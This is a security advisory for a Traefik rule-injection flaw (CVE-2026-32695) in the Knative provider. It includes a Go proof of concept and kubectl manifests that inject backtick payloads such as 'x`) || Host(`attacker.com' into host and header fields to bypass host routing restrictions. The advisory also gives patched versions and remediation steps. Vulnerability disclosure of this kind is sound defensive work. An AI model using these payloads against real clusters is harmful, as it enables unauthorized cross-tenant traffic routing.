GHSA-67jx-r9pv-98rj CVE-2026-32695 GO-2026-4880
Traefik has Knative Ingress Rule Injection that Allows Host Restriction Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.47%
- Chance of exploitation in the next 30 days. Higher than 40.80% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
- Fix
3.6.11- Upgrade github.com/traefik/traefik/v3 to this version or later
Description
Summary
There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.
User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.11
- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.
Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.
Details
The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.
Incriminated code patterns:
-
pkg/provider/kubernetes/knative/kubernetes.gofmt.Sprintf("Host(%v)", host)fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)fmt.Sprintf("PathPrefix(%s)", path)
-
pkg/provider/kubernetes/ingress/kubernetes.gofmt.Sprintf("Host(%s)", host)fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)
-
pkg/provider/kubernetes/ingress-nginx/kubernetes.go(hardening candidate; not the primary confirmed vector in this report)fmt.Sprintf("Header(%s,%s)", c.Header, c.HeaderValue)- related host/path/header concatenations with backticks
Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:
x) || Host(attacker.com
When used as a header value in Knative rule construction, the resulting rule contains:
Header(X-Poc,x) || Host(attacker.com)
This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.
Important scope note:
- Gateway API code path (
pkg/provider/kubernetes/gateway/httproute.go) already uses safer%qformatting for header/query rules and is not affected by this exact pattern. - For standard Kubernetes Ingress,
spec.rules.hostis validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked). - For Knative Ingress,
rules[].hosts[]andheaders[].exactare typed asstringin CRD schema with no pattern constraint. - In this validation environment,
rules[].hosts[]was accepted and produced a practical host bypass.headers[].exactwas also accepted and produced rule-syntax injection in generated routers. - Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here.
- Exploitability depends on admission/validation policy and who can create these resources.
PoC
- Local deterministic PoC (no cluster required):
- Run:
- Save the inline PoC below as
poc_build_rule.go - Run
go run poc_build_rule.go
- Save the inline PoC below as
- Observe output:
- Legitimate rule:
(Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/) - Malicious rule:
(Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/)
- Legitimate rule:
- This proves syntax injection in current string-construction logic.
Inline PoC code (self-contained):
package main
import (
"fmt"
"sort"
"strings"
)
func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string {
var operands []string
if len(hosts) > 0 {
var hostRules []string
for _, host := range hosts {
hostRules = append(hostRules, fmt.Sprintf("Host(`%v`)", host))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || ")))
}
if len(headers) > 0 {
headerKeys := make([]string, 0, len(headers))
for k := range headers {
headerKeys = append(headerKeys, k)
}
sort.Strings(headerKeys)
var headerRules []string
for _, key := range headerKeys {
headerRules = append(headerRules, fmt.Sprintf("Header(`%s`,`%s`)", key, headers[key].Exact))
}
operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && ")))
}
if len(path) > 0 {
operands = append(operands, fmt.Sprintf("PathPrefix(`%s`)", path))
}
return strings.Join(operands, " && ")
}
func main() {
legitHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "secret123"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))
maliciousHeaders := map[string]struct{ Exact string }{
"X-API-Key": {Exact: "x`) || Host(`attacker.com"},
}
fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))
// Safe variant example (Gateway-style):
fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x`) || Host(`attacker.com"))
}
- Cluster PoC (Knative host injection, primary / practical bypass):
- Preconditions:
- Kubernetes test cluster with Knative Serving.
- Traefik configured with Knative provider.
- Apply manifest:
kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-host-injection
namespace: default
annotations:
# This exact key worked in live validation:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- 'tenant.example.com`) || Host(`attacker.com'
visibility: External
http:
paths:
- path: "/"
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
- (If API version mismatch, adjust between
networking.internal.knative.dev/v1alpha1andnetworking.knative.dev/v1alpha1.) - Verify:
- Check Traefik router rule contains:
(Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/). - Request with
Host: attacker.comreturns backend 200. - This demonstrates host restriction bypass in practice.
- Check Traefik router rule contains:
- Cluster PoC (Knative header injection, confirms rule-syntax injection):
- Apply:
kubectl apply -f - <<'YAML'
apiVersion: networking.internal.knative.dev/v1alpha1
kind: Ingress
metadata:
name: poc-rule-injection
namespace: default
annotations:
networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev"
spec:
rules:
- hosts:
- "tenant.example.com"
visibility: External
http:
paths:
- path: "/"
headers:
X-Poc:
exact: 'x`) || Host(`attacker.com'
splits:
- percent: 100
serviceName: dummy
serviceNamespace: default
servicePort: 80
YAML
- Verify:
- Inspect generated Traefik dynamic router rule (API/dashboard/logs).
- Confirm injected fragment
|| Host(attacker.com)is present. - Send request with
Host: attacker.comand no expected tenant header (expected: 404 for this payload shape, because leadingHost(tenant)still applies). - Send request with
Host: tenant.example.comandX-Poc: x(expected: 200 from backend).
- Optional Ingress PoC (scope check):
- Apply:
kubectl apply -f - <<'YAML'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: poc-ingress-host-injection
namespace: default
annotations:
kubernetes.io/ingress.class: traefik
spec:
rules:
- host: 'tenant.example.com`) || Host(`attacker.com'
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy
port:
number: 80
YAML
- Expected in most clusters: API server rejects this payload because Ingress
hostmust satisfy DNS-1123. - Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.
Validation executed in this report:
- Local deterministic PoC executed with
go runand output matched expected injected rule. - Live cluster test executed on local
kindcluster (kind-traefik-poc) with Traefikv3.6.10and Knative Serving CRDs. - Annotation key confirmed in this environment:
networking.knative.dev/ingress.class(dot). The hyphen variant was not used by the successful processing path. - Traefik API/logs confirmed generated routers included injected expressions.
- Live HTTP request with
Host: attacker.comreached backend (200) for Knative host-injection payload.
Impact
- Vulnerability type: Rule injection / authorization bypass at routing layer.
- Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services.
- Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation.
- Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.
</details>
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/traefik/traefik | all versions |
No fix yet |
| github.com/traefik/traefik/v2 | <= 2.11.42 |
No fix yet |
| github.com/traefik/traefik/v2 | all versions |
No fix yet |
| github.com/traefik/traefik/v3 | < 3.6.11 |
3.6.11 |
| github.com/traefik/traefik/v3 | >= 3.7.0-ea.1, < 3.7.0-ea.2 |
3.7.0-ea.2 |
| github.com/traefik/traefik/v3 | < 3.6.11>= 3.7.0-ea.1, < 3.7.0-ea.2 |
3.6.113.7.0-ea.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/traefik/traefik/v3 Go → 3.6.11
- go
go get github.com/traefik/traefik/v3@v3.6.11 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- High
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
How to prevent it
- Requirements: Programming languages and supporting technologies might be chosen which are not subject to these issues.
- Implementation: Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
References
Advisories
Packages
Other links
- github.com/traefik/traefik/security/advisories/GHSA-67jx-r9pv-98rj
- github.com/traefik/traefik/commit/11d251415a6fd935025df5a9dda898e17e3097b2
- github.com/traefik/traefik/releases/tag/v3.6.11
- github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
- access.redhat.com/errata/RHSA-2026:10175
- access.redhat.com/security/cve/CVE-2026-32695
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-32695.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6558 Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle | Medium | Also affects github.com/traefik/traefik |
| GHSA-f52w-8j3h-j724 Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging | High | Also affects github.com/traefik/traefik |
| GHSA-w4v4-9rw7-5326 Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization | Critical | Also affects github.com/traefik/traefik |
| GHSA-qqjf-53cj-pwvv Traefik HTTP/3 Backend NTLM Connection Reuse | Critical | Also affects github.com/traefik/traefik |
| GO-2026-6467 Traefik entrypoint header-name sanitization bypassed via request trailers | High | Also affects github.com/traefik/traefik |
| GHSA-rf44-j88r-hh8c Traefik: ForwardAuth identity spoofing via dot-form header alias | High | Also affects github.com/traefik/traefik |
| GHSA-7ghq-v6jf-g56c Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded | Medium | Also affects github.com/traefik/traefik |
| GHSA-62fc-8686-hfmq Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef | Medium | Also affects github.com/traefik/traefik |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor